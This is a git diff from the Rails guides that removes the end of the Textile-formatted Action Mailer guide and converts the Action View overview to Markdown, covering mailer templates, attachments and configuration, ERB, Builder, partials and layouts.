- To login to the site, just follow this link: <%= @url %>.
- </p>
- <p>Thanks for joining and have a great day!</p>
- </body>
-</html>
-</erb>
-
-It is also a good idea to make a text part for this email. To do this, create a file called +welcome_email.text.erb+ in +app/views/user_mailer/+:
-
-<erb>
-Welcome to example.com, <%= @user.name %>
-===============================================
-
-You have successfully signed up to example.com,
-your username is: <%= @user.login %>.
-
-To login to the site, just follow this link: <%= @url %>.
-
-Thanks for joining and have a great day!
-</erb>
-
-When you call the +mail+ method now, Action Mailer will detect the two templates (text and HTML) and automatically generate a <tt>multipart/alternative</tt> email.
-
-h5. Wire It Up So That the System Sends the Email When a User Signs Up
-
-There are several ways to do this, some people create Rails Observers to fire off emails, others do it inside of the User Model. However, in Rails 3, mailers are really just another way to render a view. Instead of rendering a view and sending out the HTTP protocol, they are just sending it out through the Email protocols instead. Due to this, it makes sense to just have your controller tell the mailer to send an email when a user is successfully created.
-
-Setting this up is painfully simple.
-
-First off, we need to create a simple +User+ scaffold:
-
-<shell>
-$ rails generate scaffold user name:string email:string login:string
-$ rake db:migrate
-</shell>
-
-Now that we have a user model to play with, we will just edit the +app/controllers/users_controller.rb+ make it instruct the UserMailer to deliver an email to the newly created user by editing the create action and inserting a call to <tt>UserMailer.welcome_email</tt> right after the user is successfully saved:
-
-<ruby>
-class UsersController < ApplicationController
- # POST /users
- # POST /users.json
- def create
- @user = User.new(params[:user])
-
- respond_to do |format|
- if @user.save
- # Tell the UserMailer to send a welcome Email after save
- UserMailer.welcome_email(@user).deliver
-
- format.html { redirect_to(@user, :notice => 'User was successfully created.') }
- format.json { render :json => @user, :status => :created, :location => @user }
- else
- format.html { render :action => "new" }
- format.json { render :json => @user.errors, :status => :unprocessable_entity }
- end
- end
- end
-end
-</ruby>
-
-This provides a much simpler implementation that does not require the registering of observers and the like.
-
-The method +welcome_email+ returns a <tt>Mail::Message</tt> object which can then just be told +deliver+ to send itself out.
-
-NOTE: In previous versions of Rails, you would call +deliver_welcome_email+ or +create_welcome_email+. This has been deprecated in Rails 3.0 in favour of just calling the method name itself.
-
-WARNING: Sending out an email should only take a fraction of a second. If you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like Delayed Job.
-
-h4. Auto encoding header values
-
-Action Mailer now handles the auto encoding of multibyte characters inside of headers and bodies.
-
-If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and Action Mailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII.
-
-For more complex examples such as defining alternate character sets or self-encoding text first, please refer to the Mail library.
-
-h4. Complete List of Action Mailer Methods
-
-There are just three methods that you need to send pretty much any email message:
-
-* <tt>headers</tt> - Specifies any header on the email you want. You can pass a hash of header field names and value pairs, or you can call <tt>headers[:field_name] = 'value'</tt>.
-* <tt>attachments</tt> - Allows you to add attachments to your email. For example, <tt>attachments['file-name.jpg'] = File.read('file-name.jpg')</tt>.
-* <tt>mail</tt> - Sends the actual email itself. You can pass in headers as a hash to the mail method as a parameter, mail will then create an email, either plain text, or multipart, depending on what email templates you have defined.
-
-h5. Custom Headers
-
-Defining custom headers are simple, you can do it one of three ways:
-
-* Defining a header field as a parameter to the +mail+ method:
-
-<ruby>
-mail("X-Spam" => value)
-</ruby>
-
-* Passing in a key value assignment to the +headers+ method:
-
-<ruby>
-headers["X-Spam"] = value
-</ruby>
-
-* Passing a hash of key value pairs to the +headers+ method:
-
-<ruby>
-headers {"X-Spam" => value, "X-Special" => another_value}
-</ruby>
-
-TIP: All <tt>X-Value</tt> headers per the RFC2822 can appear more than once. If you want to delete an <tt>X-Value</tt> header, you need to assign it a value of <tt>nil</tt>.
-
-h5. Adding Attachments
-
-Adding attachments has been simplified in Action Mailer 3.0.
-
-* Pass the file name and content and Action Mailer and the Mail gem will automatically guess the mime_type, set the encoding and create the attachment.
-
-<ruby>
-attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
-</ruby>
-
-NOTE: Mail will automatically Base64 encode an attachment. If you want something different, pre-encode your content and pass in the encoded content and encoding in a +Hash+ to the +attachments+ method.
-
-* Pass the file name and specify headers and content and Action Mailer and Mail will use the settings you pass in.
-
-<ruby>
-encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
-attachments['filename.jpg'] = {:mime_type => 'application/x-gzip',
- :encoding => 'SpecialEncoding',
- :content => encoded_content }
-</ruby>
-
-NOTE: If you specify an encoding, Mail will assume that your content is already encoded and not try to Base64 encode it.
-
-h5. Making Inline Attachments
-
-Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be.
-
-* Firstly, to tell Mail to turn an attachment into an inline attachment, you just call <tt>#inline</tt> on the attachments method within your Mailer:
-
-<ruby>
-def welcome
- attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
-end
-</ruby>
-
-* Then in your view, you can just reference <tt>attachments[]</tt> as a hash and specify which attachment you want to show, calling +url+ on it and then passing the result into the <tt>image_tag</tt> method:
-
-<erb>
-<p>Hello there, this is our image</p>
-
-<%= image_tag attachments['image.jpg'].url %>
-</erb>
-
-* As this is a standard call to +image_tag+ you can pass in an options hash after the attachment URL as you could for any other image:
-
-<erb>
-<p>Hello there, this is our image</p>
-
-<%= image_tag attachments['image.jpg'].url, :alt => 'My Photo',
- :class => 'photos' %>
-</erb>
-
-h5. Sending Email To Multiple Recipients
-
-It is possible to send email to one or more recipients in one email (e.g., informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas.
-
-<ruby>
-class AdminMailer < ActionMailer::Base
- default :to => Proc.new { Admin.pluck(:email) },
- :from => "notification@example.com"
-
- def new_registration(user)
- @user = user
- mail(:subject => "New User Signup: #{@user.email}")
- end
-end
-</ruby>
-
-The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the <tt>:cc</tt> and <tt>:bcc</tt> keys respectively.
-
-h5. Sending Email With Name
-
-Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is
-to format the email address in the format <tt>"Name &lt;email&gt;"</tt>.
-
-<ruby>
-def welcome_email(user)
- @user = user
- email_with_name = "#{@user.name} <#{@user.email}>"
- mail(:to => email_with_name, :subject => "Welcome to My Awesome Site")
-end
-</ruby>
-
-h4. Mailer Views
-
-Mailer views are located in the +app/views/name_of_mailer_class+ directory. The specific mailer view is known to the class because its name is the same as the mailer method. In our example from above, our mailer view for the +welcome_email+ method will be in +app/views/user_mailer/welcome_email.html.erb+ for the HTML version and +welcome_email.text.erb+ for the plain text version.
-
-To change the default mailer view for your action you do something like:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- default :from => "notifications@example.com"
-
- def welcome_email(user)
- @user = user
- @url = "http://example.com/login"
- mail(:to => user.email,
- :subject => "Welcome to My Awesome Site",
- :template_path => 'notifications',
- :template_name => 'another')
- end
-end
-</ruby>
-
-In this case it will look for templates at +app/views/notifications+ with name +another+.
-
-If you want more flexibility you can also pass a block and render specific templates or even render inline or text without using a template file:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- default :from => "notifications@example.com"
-
- def welcome_email(user)
- @user = user
- @url = "http://example.com/login"
- mail(:to => user.email,
- :subject => "Welcome to My Awesome Site") do |format|
- format.html { render 'another_template' }
- format.text { render :text => 'Render text' }
- end
- end
-
-end
-</ruby>
-
-This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as <tt>:text</tt>, <tt>:inline</tt> etc.
-
-h4. Action Mailer Layouts
-
-Just like controller views, you can also have mailer layouts. The layout name needs to be the same as your mailer, such as +user_mailer.html.erb+ and +user_mailer.text.erb+ to be automatically recognized by your mailer as a layout.
-
-In order to use a different file just use:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- layout 'awesome' # use awesome.(html|text).erb as the layout
-end
-</ruby>
-
-Just like with controller views, use +yield+ to render the view inside the layout.
-
-You can also pass in a <tt>:layout => 'layout_name'</tt> option to the render call inside the format block to specify different layouts for different actions:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- def welcome_email(user)
- mail(:to => user.email) do |format|
- format.html { render :layout => 'my_layout' }
- format.text
- end
- end
-end
-</ruby>
-
-Will render the HTML part using the <tt>my_layout.html.erb</tt> file and the text part with the usual <tt>user_mailer.text.erb</tt> file if it exists.
-
-h4. Generating URLs in Action Mailer Views
-
-URLs can be generated in mailer views using +url_for+ or named routes.
-
-Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the +:host+, +:controller+, and +:action+:
-
-<erb>
-<%= url_for(:host => "example.com",
- :controller => "welcome",
- :action => "greeting") %>
-</erb>
-
-When using named routes you only need to supply the +:host+:
-
-<erb>
-<%= user_url(@user, :host => "example.com") %>
-</erb>
-
-Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense.
-
-It is also possible to set a default host that will be used in all mailers by setting the <tt>:host</tt> option as a configuration option in <tt>config/application.rb</tt>:
-
-<ruby>
-config.action_mailer.default_url_options = { :host => "example.com" }
-</ruby>
-
-If you use this setting, you should pass the <tt>:only_path => false</tt> option when using +url_for+. This will ensure that absolute URLs are generated because the +url_for+ view helper will, by default, generate relative URLs when a <tt>:host</tt> option isn't explicitly provided.
-
-h4. Sending Multipart Emails
-
-Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have +welcome_email.text.erb+ and +welcome_email.html.erb+ in +app/views/user_mailer+, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts.
-
-The order of the parts getting inserted is determined by the <tt>:parts_order</tt> inside of the <tt>ActionMailer::Base.default</tt> method. If you want to explicitly alter the order, you can either change the <tt>:parts_order</tt> or explicitly render the parts in a different order:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- def welcome_email(user)
- @user = user
- @url = user_url(@user)
- mail(:to => user.email,
- :subject => "Welcome to My Awesome Site") do |format|
- format.html
- format.text
- end
- end
-end
-</ruby>
-
-Will put the HTML part first, and the plain text part second.
-
-h4. Sending Emails with Attachments
-
-Attachments can be added by using the +attachments+ method:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- def welcome_email(user)
- @user = user
- @url = user_url(@user)
- attachments['terms.pdf'] = File.read('/path/terms.pdf')
- mail(:to => user.email,
- :subject => "Please see the Terms and Conditions attached")
- end
-end
-</ruby>
-
-The above will send a multipart email with an attachment, properly nested with the top level being <tt>multipart/mixed</tt> and the first part being a <tt>multipart/alternative</tt> containing the plain text and HTML email messages.
-
-h3. Receiving Emails
-
-Receiving and parsing emails with Action Mailer can be a rather complex endeavor. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to:
-
-* Implement a +receive+ method in your mailer.
-
-* Configure your email server to forward emails from the address(es) you would like your app to receive to +/path/to/app/script/rails runner 'UserMailer.receive(STDIN.read)'+.
-
-Once a method called +receive+ is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer +receive+ instance method. Here's an example:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- def receive(email)
- page = Page.find_by_address(email.to.first)
- page.emails.create(
- :subject => email.subject,
- :body => email.body
- )
-
- if email.has_attachments?
- email.attachments.each do |attachment|
- page.attachments.create({
- :file => attachment,
- :description => email.subject
- })
- end
- end
- end
-end
-</ruby>
-
-h3. Using Action Mailer Helpers
-
-Action Mailer now just inherits from Abstract Controller, so you have access to the same generic helpers as you do in Action Controller.
-
-h3. Action Mailer Configuration
-
-The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...)
-
-|+template_root+|Determines the base from which template references will be made.|
-|+logger+|Generates information on the mailing run if available. Can be set to +nil+ for no logging. Compatible with both Ruby's own +Logger+ and +Log4r+ loggers.|
-|+smtp_settings+|Allows detailed configuration for <tt>:smtp</tt> delivery method:<ul><li><tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li><tt>:port</tt> - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li><tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.</li><li><tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.</li><li><tt>:password</tt> - If your mail server requires authentication, set the password in this setting.</li><li><tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.</li></ul>|
-|+sendmail_settings+|Allows you to override options for the <tt>:sendmail</tt> delivery method.<ul><li><tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.</li><li><tt>:arguments</tt> - The command line arguments to be passed to sendmail. Defaults to <tt>-i -t</tt>.</li></ul>|
-|+raise_delivery_errors+|Whether or not errors should be raised if the email fails to be delivered.|
-|+delivery_method+|Defines a delivery method. Possible values are <tt>:smtp</tt> (default), <tt>:sendmail</tt>, <tt>:file</tt> and <tt>:test</tt>.|
-|+perform_deliveries+|Determines whether deliveries are actually carried out when the +deliver+ method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.|
-|+deliveries+|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
-|+async+|Setting this flag will turn on asynchronous message sending, message rendering and delivery will be pushed to <tt>Rails.queue</tt> for processing.|
-|+default_options+|Allows you to set default values for the <tt>mail</tt> method options (<tt>:from</tt>, <tt>:reply_to</tt>, etc.).|
-
-h4. Example Action Mailer Configuration
-
-An example would be adding the following to your appropriate <tt>config/environments/$RAILS_ENV.rb</tt> file:
-
-<ruby>
-config.action_mailer.delivery_method = :sendmail
-# Defaults to:
-# config.action_mailer.sendmail_settings = {
-# :location => '/usr/sbin/sendmail',
-# :arguments => '-i -t'
-# }
-config.action_mailer.perform_deliveries = true
-config.action_mailer.raise_delivery_errors = true
-config.action_mailer.default_options = {from: "no-replay@example.org"}
-</ruby>
-
-h4. Action Mailer Configuration for GMail
-
-As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/$RAILS_ENV.rb</tt> file:
-
-<ruby>
-config.action_mailer.delivery_method = :smtp
-config.action_mailer.smtp_settings = {
- :address => "smtp.gmail.com",
- :port => 587,
- :domain => 'baci.lindsaar.net',
- :user_name => '<username>',
- :password => '<password>',
- :authentication => 'plain',
- :enable_starttls_auto => true }
-</ruby>
-
-h3. Mailer Testing
-
-By default Action Mailer does not send emails in the test environment. They are just added to the +ActionMailer::Base.deliveries+ array.
-
-Testing mailers normally involves two things: One is that the mail was queued, and the other one that the email is correct. With that in mind, we could test our example mailer from above like so:
-
-<ruby>
-class UserMailerTest < ActionMailer::TestCase
- def test_welcome_email
- user = users(:some_user_in_your_fixtures)
-
- # Send the email, then test that it got queued
- email = UserMailer.welcome_email(user).deliver
- assert !ActionMailer::Base.deliveries.empty?
-
- # Test the body of the sent email contains what we expect it to
- assert_equal [user.email], email.to
- assert_equal "Welcome to My Awesome Site", email.subject
- assert_match "<h1>Welcome to example.com, #{user.name}</h1>", email.body.to_s
- assert_match "you have joined to example.com community", email.body.to_s
- end
-end
-</ruby>
-
-In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect.
-
-h3. Asynchronous
-
-You can turn on application-wide asynchronous message sending by adding to your <tt>config/application.rb</tt> file:
-
-<ruby>
-config.action_mailer.async = true
-</ruby>
-
-Alternatively you can turn on async within specific mailers:
-
-<ruby>
-class WelcomeMailer < ActionMailer::Base
- self.async = true
-end
-</ruby>
-
-h4. Custom Queues
-
-If you need a different queue than <tt>Rails.queue</tt> for your mailer you can override <tt>ActionMailer::Base#queue</tt>:
-
-<ruby>
-class WelcomeMailer < ActionMailer::Base
- def queue
- MyQueue.new
- end
-end
-</ruby>
-
-Your custom queue should expect a job that responds to <tt>#run</tt>.
diff --git a/guides/source/action_view_overview.textile b/guides/source/action_view_overview.md
index 1fd98a5bbe..cec7e5335b 100644
--- a/guides/source/action_view_overview.textile
+++ b/guides/source/action_view_overview.md
@@ -1,4 +1,5 @@
-h2. Action View Overview
+Action View Overview
+====================
In this guide you will learn:
@@ -8,9 +9,10 @@ In this guide you will learn:
* What helpers are provided by Action View, and how to make your own
* How to use localized views
-endprologue.
+--------------------------------------------------------------------------------
-h3. What is Action View?
+What is Action View?
+--------------------
Action View and Action Controller are the two major components of Action Pack. In Rails, web requests are handled by Action Pack, which splits the work into a controller part (performing the logic) and a view part (rendering a template). Typically, Action Controller will be concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response.
@@ -18,13 +20,14 @@ Action View templates are written using embedded Ruby in tags mingled with HTML.
NOTE. Some features of Action View are tied to Active Record, but that doesn't mean that Action View depends on Active Record. Action View is an independent package that can be used with any sort of backend.
-h3. Using Action View with Rails
+Using Action View with Rails
+----------------------------
-For each controller there is an associated directory in the <tt>app/views</tt> directory which holds the template files that make up the views associated with that controller. These files are used to display the view that results from each controller action.
+For each controller there is an associated directory in the `app/views` directory which holds the template files that make up the views associated with that controller. These files are used to display the view that results from each controller action.
Let's take a look at what Rails does by default when creating a new resource using the scaffold generator:
-<shell>
+```bash
$ rails generate scaffold post
[...]
invoke scaffold_controller
@@ -37,28 +40,29 @@ $ rails generate scaffold post
create app/views/posts/new.html.erb
create app/views/posts/_form.html.erb
[...]
-</shell>
+```
There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above.
-For example, the index controller action of the <tt>posts_controller.rb</tt> will use the <tt>index.html.erb</tt> view file in the <tt>app/views/posts</tt> directory.
+For example, the index controller action of the `posts_controller.rb` will use the `index.html.erb` view file in the `app/views/posts` directory.
The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Later on this guide you can find a more detailed documentation of each one of this three components.
-h3. Using Action View outside of Rails
+Using Action View outside of Rails
+----------------------------------
-Action View works well with Action Record, but it can also be used with other Ruby tools. We can demonstrate this by creating a small "Rack":http://rack.rubyforge.org/ application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application.
+Action View works well with Action Record, but it can also be used with other Ruby tools. We can demonstrate this by creating a small [Rack](http://rack.rubyforge.org/) application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application.
Let's start by ensuring that you have the Action Pack and Rack gems installed:
-<shell>
+```bash
$ gem install actionpack
$ gem install rack
-</shell>
+```
-Now we'll create a simple "Hello World" application that uses the +titleize+ method provided by Active Support.
+Now we'll create a simple "Hello World" application that uses the `titleize` method provided by Active Support.
-*hello_world.rb:*
+**hello_world.rb:**
-<ruby>
+```ruby
require 'active_support/core_ext/string/inflections'
require 'rack'
@@ -67,126 +71,127 @@ def hello_world(env)
end
Rack::Handler::Mongrel.run method(:hello_world), :Port => 4567
-</ruby>
+```
-We can see this all come together by starting up the application and then visiting +http://localhost:4567/+
+We can see this all come together by starting up the application and then visiting `http://localhost:4567/`
-<shell>
+```bash
$ ruby hello_world.rb
-</shell>
+```
TODO needs a screenshot? I have one - not sure where to put it.
-Notice how 'hello world' has been converted into 'Hello World' by the +titleize+ helper method.
+Notice how 'hello world' has been converted into 'Hello World' by the `titleize` helper method.
-Action View can also be used with "Sinatra":http://www.sinatrarb.com/ in the same way.
+Action View can also be used with [Sinatra](http://www.sinatrarb.com/) in the same way.
Let's start by ensuring that you have the Action Pack and Sinatra gems installed:
-<shell>
+```bash
$ gem install actionpack
$ gem install sinatra
-</shell>
+```
Now we'll create the same "Hello World" application in Sinatra.
-*hello_world.rb:*
+**hello_world.rb:**
-<ruby>
+```ruby
require 'action_view'
require 'sinatra'
get '/' do
erb 'hello world'.titleize
end
-</ruby>
+```
Then, we can run the application:
-<shell>
+```bash
$ ruby hello_world.rb
-</shell>
+```
-Once the application is running, you can see Sinatra and Action View working together by visiting +http://localhost:4567/+
+Once the application is running, you can see Sinatra and Action View working together by visiting `http://localhost:4567/`
TODO needs a screenshot? I have one - not sure where to put it.
-h3. Templates, Partials and Layouts
+Templates, Partials and Layouts
+-------------------------------
-As mentioned before, the final HTML output is a composition of three Rails elements: +Templates+, +Partials+ and +Layouts+.
+As mentioned before, the final HTML output is a composition of three Rails elements: `Templates`, `Partials` and `Layouts`.
Find below a brief overview of each one of them.
-h4. Templates
+### Templates
-Action View templates can be written in several ways. If the template file has a <tt>.erb</tt> extension then it uses a mixture of ERB (included in Ruby) and HTML. If the template file has a <tt>.builder</tt> extension then a fresh instance of <tt>Builder::XmlMarkup</tt> library is used.
+Action View templates can be written in several ways. If the template file has a `.erb` extension then it uses a mixture of ERB (included in Ruby) and HTML. If the template file has a `.builder` extension then a fresh instance of `Builder::XmlMarkup` library is used.
-Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have <tt>.html.erb</tt> as a file extension.
+Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have `.html.erb` as a file extension.
-h5. ERB
+#### ERB
-Within an ERB template Ruby code can be included using both +<% %>+ and +<%= %>+ tags. The +<% %>+ are used to execute Ruby code that does not return anything, such as conditions, loops or blocks, and the +<%= %>+ tags are used when you want output.
+Within an ERB template Ruby code can be included using both `<% %>` and `<%= %>` tags. The `<% %>` are used to execute Ruby code that does not return anything, such as conditions, loops or blocks, and the `<%= %>` tags are used when you want output.
Consider the following loop for names:
-<erb>
+```html+erb
<b>Names of all the people</b>
<% @people.each do |person| %>
Name: <%= person.name %><br/>
<% end %>
-</erb>
+```
-The loop is setup in regular embedding tags +<% %>+ and the name is written using the output embedding tag +<%= %>+. Note that this is not just a usage suggestion, for Regular output functions like print or puts won't work with ERB templates. So this would be wrong:
+The loop is setup in regular embedding tags `<% %>` and the name is written using the output embedding tag `<%= %>`. Note that this is not just a usage suggestion, for Regular output functions like print or puts won't work with ERB templates. So this would be wrong:
-<erb>
+```html+erb
<%# WRONG %>
Hi, Mr. <% puts "Frodo" %>
-</erb>
+```
-To suppress leading and trailing whitespaces, you can use +<%-+ +-%>+ interchangeably with +<%+ and +%>+.
+To suppress leading and trailing whitespaces, you can use `<%-` `-%>` interchangeably with `<%` and `%>`.
-h5. Builder
+#### Builder
-Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named +xml+ is automatically made available to templates with a <tt>.builder</tt> extension.
+Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named `xml` is automatically made available to templates with a `.builder` extension.
Here are some basic examples:
-<ruby>
+```ruby
xml.em("emphasized")
xml.em { xml.b("emph & bold") }
xml.a("A Link", "href"=>"http://rubyonrails.org")
xml.target("name"=>"compile", "option"=>"fast")
-</ruby>
+```
will produce
-<html>
+```html
<em>emphasized</em>
<em><b>emph &amp; bold</b></em>
<a href="http://rubyonrails.org">A link</a>
<target option="fast" name="compile" />
-</html>
+```
Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
-<ruby>
+```ruby
xml.div {
xml.h1(@person.name)
xml.p(@person.bio)
}
-</ruby>
+```
would produce something like:
-<html>
+```html
<div>
<h1>David Heinemeier Hansson</h1>
<p>A product of Danish Design during the Winter of '79...</p>
</div>
-</html>
+```
A full-length RSS example actually used on Basecamp:
-<ruby>
+```ruby
xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
xml.channel do
xml.title(@feed_title)
@@ -207,37 +212,37 @@ xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
end
end
end
-</ruby>
+```
-h5. Template Caching
+#### Template Caching
By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will check the file's modification time and recompile it in development mode.
-h4. Partials
+### Partials
Partial templates – usually just called "partials" – are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
-h5. Naming Partials
+#### Naming Partials
-To render a partial as part of a view, you use the +render+ method within the view:
+To render a partial as part of a view, you use the `render` method within the view:
-<ruby>
+```erb
<%= render "menu" %>
-</ruby>
+```
-This will render a file named +_menu.html.erb+ at that point within the view is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
+This will render a file named `_menu.html.erb` at that point within the view is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
-<ruby>
+```erb
<%= render "shared/menu" %>
-</ruby>
+```
-That code will pull in the partial from +app/views/shared/_menu.html.erb+.
+That code will pull in the partial from `app/views/shared/_menu.html.erb`.
-h5. Using Partials to simplify Views
+#### Using Partials to simplify Views
One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
-<erb>
+```html+erb
<%= render "shared/ad_banner" %>
<h1>Products</h1>
@@ -248,184 +253,188 @@ One way to use partials is to treat them as the equivalent of subroutines: as a
<% end %>
<%= render "shared/footer" %>
-</erb>
+```
-Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
+Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
-h5. The :as and :object options
+#### The :as and :object options
-By default <tt>ActionView::Partials::PartialRenderer</tt> has its object in a local variable with the same name as the template. So, given
+By default `ActionView::Partials::PartialRenderer` has its object in a local variable with the same name as the template. So, given
-<erb>
+```erb
<%= render :partial => "product" %>
-</erb>
+```
-within product we'll get <tt>@product</tt> in the local variable +product+, as if we had written:
+within product we'll get `@product` in the local variable `product`, as if we had written:
-<erb>
+```erb
<%= render :partial => "product", :locals => { :product => @product } %>
-</erb>
+```
-With the <tt>:as</tt> option we can specify a different name for said local variable. For example, if we wanted it to be +item+ instead of product+ we'd do:
+With the `:as` option we can specify a different name for said local variable. For example, if we wanted it to be `item` instead of product+ we'd do:
-<erb>
+```erb
<%= render :partial => "product", :as => 'item' %>
-</erb>
+```
-The <tt>:object</tt> option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere, in a different ivar or in a local variable for instance.
+The `:object` option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere, in a different ivar or in a local variable for instance.
For example, instead of:
-<erb>
+```erb
<%= render :partial => "product", :locals => { :product => @item } %>
-</erb>
+```
you'd do:
-<erb>
+```erb
<%= render :partial => "product", :object => @item %>
-</erb>
+```
-The <tt>:object</tt> and <tt>:as</tt> options can be used together.
+The `:object` and `:as` options can be used together.
-h5. Rendering Collections
+#### Rendering Collections
The example of partial use describes a familiar pattern where a template needs to iterate over an array and render a sub template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial by the same name as the elements contained within.
So the three-lined example for rendering all the products can be rewritten with a single line:
-<erb>
+```erb
<%= render :partial => "product", :collection => @products %>
-</erb>
+```
-When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product+ , and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered.
+When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product` , and within the `_product` partial, you can refer to `product` to get the instance that is being rendered.
-You can use a shorthand syntax for rendering collections. Assuming @products is a collection of +Product+ instances, you can simply write the following to produce the same result:
+You can use a shorthand syntax for rendering collections. Assuming @products is a collection of `Product` instances, you can simply write the following to produce the same result:
-<erb>
+```erb
<%= render @products %>
-</erb>
+```
Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection.
-h5. Spacer Templates
+#### Spacer Templates
-You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option:
+You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
-<erb>
+```erb
<%= render @products, :spacer_template => "product_ruler" %>
-</erb>
+```
-Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials.
+Rails will render the `_product_ruler` partial (with no data passed in to it) between each pair of `_product` partials.
-h4. Layouts
+### Layouts
TODO...
-h3. Using Templates, Partials and Layouts in "The Rails Way"
+Using Templates, Partials and Layouts in "The Rails Way"
+--------------------------------------------------------
TODO...
-h3. Partial Layouts
+Partial Layouts
+---------------
Partials can have their own layouts applied to them. These layouts are different than the ones that are specified globally for the entire action, but they work in a similar fashion.
-Let's say we're displaying a post on a page where it should be wrapped in a +div+ for display purposes. First, we'll create a new +Post+:
+Let's say we're displaying a post on a page where it should be wrapped in a `div` for display purposes. First, we'll create a new `Post`:
-<ruby>
+```ruby
Post.create(:body => 'Partial Layouts are cool!')
-</ruby>
+```
-In the +show+ template, we'll render the +post+ partial wrapped in the +box+ layout:
+In the `show` template, we'll render the `post` partial wrapped in the `box` layout:
-*posts/show.html.erb*
+**posts/show.html.erb**
-<ruby>
+```erb
<%= render :partial => 'post', :layout => 'box', :locals => {:post => @post} %>
-</ruby>
+```
-The +box+ layout simply wraps the +post+ partial in a +div+:
+The `box` layout simply wraps the `post` partial in a `div`:
-*posts/_box.html.erb*
+**posts/_box.html.erb**
-<ruby>
+```html+erb
<div class='box'>
<%= yield %>
</div>
-</ruby>
+```
-The +post+ partial wraps the post's +body+ in a +div+ with the +id+ of the post using the +div_for+ helper:
+The `post` partial wraps the post's `body` in a `div` with the `id` of the post using the `div_for` helper:
-*posts/_post.html.erb*
+**posts/_post.html.erb**
-<ruby>
+```html+erb
<%= div_for(post) do %>
<p><%= post.body %></p>
<% end %>
-</ruby>
+```
